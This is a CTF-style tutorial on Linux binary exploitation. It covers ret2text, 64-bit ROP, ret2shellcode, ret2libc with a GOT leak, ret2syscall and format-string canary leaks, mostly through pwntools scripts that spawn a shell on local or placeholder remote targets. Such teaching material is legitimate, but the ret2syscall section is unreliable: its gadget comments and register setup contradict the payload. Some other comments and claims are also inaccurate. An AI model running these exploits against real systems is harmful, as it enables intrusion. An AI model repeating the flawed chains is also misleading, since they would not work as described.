Environment Configuration
For optimal results in binary exploitation exercises, an Ubuntu 22.04 LTS environment is recommended due to its stability and tool support. While Kali Linux is often preferred for web security testing, Ubuntu serves as the foundation for most Pwn-related tasks.
Return-to-Text (Ret2Text)
This technique leverages buffer overflows to redirect execution flow to a predefined address.
Prerequisites
- ROPgadget Tool: To identify useful instruction sequences, run:
ROPgadget --binary [filename] --only "rdi|ret". Look for thepop rdi; retgadget sequence to locate the target register address.
Implementation Case: Whack-a-Mole
Scenario: A 32-bit binary with NX (No Execute) protection enabled, featuring a vulnerable function.
from pwn import *
# Setup connection
# io = process("./woof")
io = remote("TARGET_IP", TARGET_PORT)
# Calculate required offset to reach return address
buffer_size = 0x9 + 4
target_func_addr = 0x0804859b
# Construct the shellcode stream
# Overwrite EIP with the return address to jump to target function
exploit_data = b"A" * buffer_size + p32(target_func_addr)
io.sendline(exploit_data)
io.interactive()
Analysis: This method relies on the existence of a hidden backdoor function capable of escalating privileges immediately upon execution.
Architecture Differences: x64
In 64-bit environments, function calling conventions require passing the first argument via the RDI register before executing the call instruction.
from pwn import *
# io = process("./x64")
io = remote("TARGET_IP", TARGET_PORT)
context.arch = "amd64"
# Determine offsets and addresses
stack_overrun = 0x80 + 8
system_addr = 0x00400560
sh_string_addr = 0x00601060
pop_rdi_gadget = 0x00000000004007e3
# Payload structure: [Padding][Pop RDI][String Addr][System Address]
stream = b"A" * stack_overrun
stream += p64(pop_rdi_gadget)
stream += p64(sh_string_addr)
stream += p64(system_addr)
io.sendline(stream)
io.interactive()
Key Takeaway: 64-bit exploitation mandates setting up registers (like RDI) with arguments prior to invoking the target function.
Return-to-Shellcode (Ret2Shellcode)
Injecting executable machine code directly into memory requires specific conditions regarding segmentation.
BSS Segment Injection
The BSS segment stores uninitialized global variables and static data. Its often writable and executable depending on compiler flags.
from pwn import *
# io = process("./Easy_ShellCode")
io = remote("TARGET_IP", TARGET_PORT)
# Identify stack offset and BSS location
offset = 0x68 + 4
data_section_addr = 0x0804A080
# Generate payload shellcode
generated_code = asm(shellcraft.sh())
# Send shellcode first
io.recvuntil(b"Please Input:")
io.sendline(generated_code)
# Trigger overwrite to jump to BSS
payload = b"A" * offset + p32(data_section_addr)
io.recvuntil(b"What,s your name ?:")
io.sendline(payload)
io.interactive()
Stack-based Shellcode
This approach works when Stack Protection mechanisms like Canaries are absent.
from pwn import *
# Target context
context(arch="amd64")
io = process("./vuln_binary")
# Calculate padding to overwrite Return Address
overflow_len = 0x70 + 8
# Leak internal pointer via format string or printf vulnerability
leaked_ptr = int(io.recvline().strip(), 16)
# Prepare shellcode
sc = asm(shellcraft.amd64.sh())
# Place shellcode at start of padding, followed by leaked address
# ljust ensures total length matches buffer size
final_packet = sc.ljust(overflow_len, b'A') + p64(leaked_ptr)
io.sendline(final_packet)
io.interactive()
Return-to-LibC (Ret2Libc)
When NX is enabled, injecting shellcode is blocked. Instead, we hijack control flow to existing libc functions like system().
Mechanism Overview
Understanding the dynamic linking model is crucial:
- First Call: Execution jumps through the Procedure Linkage Table (PLT), referencing the Global Offset Table (GOT). The loader resolves the actual libc address.
- Subsequent Calls: The GOT now contains the resolved libc address, allowing direct jumps.
Case Study: Game Binary
The binary lacks PIE and uses standard shared libraries. We need to leak an adress to calculate the libc base.
from pwn import *
elf = ELF("./Game")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
io = process("./Game")
# 1. First Payload: Leak puts address from GOT
plts_addr = elf.plt["puts"]
got_addr = elf.got["puts"]
fun_entry_addr = 0x080485F4
padding = 0x6C + 4
stage1 = b"A" * padding + p32(plts_addr) + p32(fun_entry_addr) + p32(got_addr)
# Interact with prompts
io.sendlineafter(b"Do you play game?\n", b"yes")
io.sendlineafter(b"Do you think playing games will affect your learning?\n", b"yes")
io.sendline(stage1)
# Extract leaked address
leak = u32(io.recvline()[:4])
print(f"[+] Leaked PUTS: {hex(leak)}")
# 2. Calculate Base and Target Addresses
libc_base = leak - libc.symbols["puts"]
sys_addr = libc_base + libc.symbols["system"]
sh_str = libc_base + next(libc.search(b"/bin/sh"))
# 3. Second Payload: Call system("/bin/sh")
# In 32-bit, arguments go on stack
stage2 = b"A" * padding + p32(sys_addr) + p32(0xDEADBEEF) + p32(sh_str)
io.sendline(stage2)
io.interactive()
Dynamic Offset Calculation
Static analysis tools like IDA may show incorrect offsets due to compiler optimizations or stack alignment. Dynamic debugging with GDB is preferred for accurate offsets.
gdb ./binary
break main
run
# Run until input prompt
pattern create 200
# Paste pattern input
pattern offset 0x62616164 # Example address found in registers
This confirms the exact displacement required to overwrite saved frame pointers safely.
Return-to-Syscall
If libc functions are unreachable, triggering system calls directly via software interrupts can grant shell access.
Setup Steps
- Determine the correct syscall number (e.g.,
execve= 0xb). - Identify gadget chains to set up registers (EAX, EBX, ECX, EDX).
from pwn import *
io = process("./ret2syscall_demo")
padding = 112
sh_addr = 0x080be408
int_instruction = 0x08049421
setup_ret = 0x0806eb90
# Register layout for execve:
# EAX = 0xb (syscall number)
# EBX = sh_str
# ECX, EDX = NULL
payload = b"A" * padding
payload += p32(setup_ret) # pop rsi; pop edi; ret sequence
payload += p32(0xb) # System call number
payload += p32(0x00) # Padding/Next return
payload += p32(sh_addr) # argv
payload += p32(int_instruction) # Trigger syscall (INT 0x80)
io.sendline(payload)
io.interactive()
Format String Vulnerabilities
This category involves advanced stack manipulation where input is processed incorrectly (e.g., passing user input to printf-like functions).
Canary Bypass Workflow
Many modern binaries utilize Stack Canaries to detect overwrites. However, format string bugs can sometimes leak the canary value itself, which can then be overwritten.
The process typically involves:
- Phase 1: Leak the canary value stored at
[rbp - 8]. - Phase 2: Perform the second phase of injection, including the known canary value in the payload to pass validation.
# Inspect RBP relative memory
x/50gx $rsp
# Locate canary at specific offset (often -8 bytes from RBP)
Analyzing disassembly around validation logic reveals XOR checks that protect against buffer overflows. Successfully bypassing this requires precise control over the write-back mechanism of the function parameters.